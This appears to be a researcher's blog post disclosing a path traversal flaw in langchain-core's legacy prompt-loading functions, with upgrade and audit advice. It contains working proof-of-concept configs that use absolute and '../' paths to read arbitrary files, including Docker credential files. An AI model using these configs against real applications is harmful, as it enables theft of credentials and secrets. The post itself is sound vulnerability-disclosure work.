
I Found a Zero-Day Vulnerability in langchain — Here’s How It Went
How a forgotten legacy API in one of AI's most popular frameworks quietly exposed millions of applications to arbitrary file reads.
There's a certain feeling you get when a proof-of-concept works on the first try. Not excitement exactly — more like a slow, uncomfortable realization that something real just happened. That's what it felt like when I ran my test config against load_prompt_from_config() and watched the contents of a file it had no business reading get printed right to my terminal.
This is the story of CVE-2026-34070: a path traversal vulnerability in langchain-core, now patched in version 1.2.22.
If you've built anything with AI in the last couple of years, you've almost certainly touched LangChain. It's the connective tissue of the modern AI stack — the framework that wires together language models, vector stores, tools, and prompt management into coherent applications. With over 130k stars on GitHub and adoption across everything from scrappy weekend projects to enterprise deployments, a vulnerability here doesn't stay contained.
I'd been doing a code review of the prompts subsystem when something caught my eye: a module called langchain_core/prompts/loading.py. It was loading files from disk based on values pulled directly out of deserialized config dictionaries. No validation. No path sanitization. Just .
open(path)I kept reading.
Three internal functions were at the center of this:
_load_template() — reads files referenced by template_path, suffix_path, and prefix_path_load_examples() — reads files referenced by the examples key when it's a string_load_few_shot_prompt() — reads files referenced by example_prompt_pathThe file-extension checks were there. .txt for templates. .json, .yaml, .yml for examples. But there was nothing stopping those paths from being absolute (/etc/passwd) or traversal-based (../../../../home/user/.ssh/). The extension filter gave a false sense of security — it just meant an attacker had to pick the right extension, not that the attack was blocked.
These functions are all reachable through two public-facing APIs: load_prompt() and load_prompt_from_config().
The simplest version looked like this:
from langchain_core.prompts.loading import load_prompt_from_config
config = {
"_type": "prompt",
"template_path": "/tmp/secret.txt",
"input_variables": [],
}
prompt = load_prompt_from_config(config)
print(prompt.template) # contents of /tmp/secret.txt, printed cleanly
That's it. Pass in an absolute path, get the file contents back wrapped in a PromptTemplate. No authentication. No special privileges. If you can influence the config dict, you can read files.
Directory traversal worked just as cleanly:
config = {
"_type": "prompt",
"template_path": "../../etc/secret.txt",
"input_variables": [],
}
The JSON/YAML variant was arguably more dangerous because of the kinds of files it could reach:
config = {
"_type": "few_shot",
"examples": "../../../../.docker/config.json",
"example_prompt": {
"_type": "prompt",
"input_variables": ["input", "output"],
"template": "{input}: {output}",
},
"prefix": "",
"suffix": "{query}",
"input_variables": ["query"],
}
prompt = load_prompt_from_config(config)
.docker/config.json contains your Docker Hub credentials. ~/.azure/accessTokens.json has your Azure tokens. Kubernetes manifests, CI/CD configs, internal application settings — anything with the right extension sitting anywhere on the filesystem was fair game.
The CVSS score came in at 7.5 High, with a vector of AV:N/AC:L/PR:N/UI:N — network-accessible, low complexity, no privileges, no user interaction needed.
The score is constrained below 9+ because the file-extension check does limit which files can be read. But 7.5 still understates the real-world impact in certain deployment patterns.
Think about where this lands in production:
load_prompt_from_config(), every user is a potential attacker.In those environments, the "constrained by file extension" limitation matters a lot less. An attacker can simply target files they know exist with the right extension. On a typical cloud instance: requirements.txt, config.yaml, .env.yaml, mounted secret files with .json extensions — the list is long.
The affected functions are described in the advisory as "undocumented legacy APIs." They predate the current langchain_core.load serialization system (dumpd/dumps/load/loads), which uses an allowlist-based model and doesn't perform filesystem reads.
The new APIs exist. They're better. But the old code was never cleaned up — it just sat there, reachable, with no validation, waiting.
This is a pattern worth paying attention to. In fast-moving open-source projects, especially ones that grew as quickly as LangChain did, technical debt accumulates in the corners. Legacy code that was "never really intended for users" doesn't get the same scrutiny as the primary API surface. But it's still callable. It's still in the package. And if it reads files from disk, it's a potential vulnerability.
The patch landed in langchain-core 1.2.22. The fix adds path validation that rejects both absolute paths and .. traversal sequences before any file is opened. An escape hatch — allow_dangerous_paths=True — is available for applications that genuinely need to read from trusted paths, with the explicit acknowledgment that the caller is opting into the risk.
The legacy APIs have also been formally deprecated with this release. They'll be removed entirely in 2.0.0. If you're using load_prompt() or load_prompt_from_config() anywhere, migrate to the langchain_core.load equivalents now rather than waiting for the breaking change.
Update immediately:
pip install --upgrade langchain-core
Verify you're on 1.2.22 or newer:
python -c "import langchain_core; print(langchain_core.__version__)"
If you're building on LangChain, a quick audit is worth running:
load_prompt and load_prompt_from_config in your codebase. If they appear, check what's being passed to them..txt, .json, or .yaml extensions exist on your instances and what they contain.Security bugs in AI infrastructure are going to matter more, not less, as these systems handle more sensitive workloads. LangChain's team responded well — the fix is clean, the deprecation path is clear, and the advisory documentation is thorough.
But it's a good reminder that the attack surface of an AI application isn't just the model. It's every library in the stack, every legacy function that never got cleaned up, every place where "the user probably won't pass untrusted input here" turned out to be an assumption rather than a guarantee.
Read the code. Especially the old parts.
CVE-2026-34070 was assigned to this vulnerability. The full advisory is available at the LangChain GitHub Security Advisory.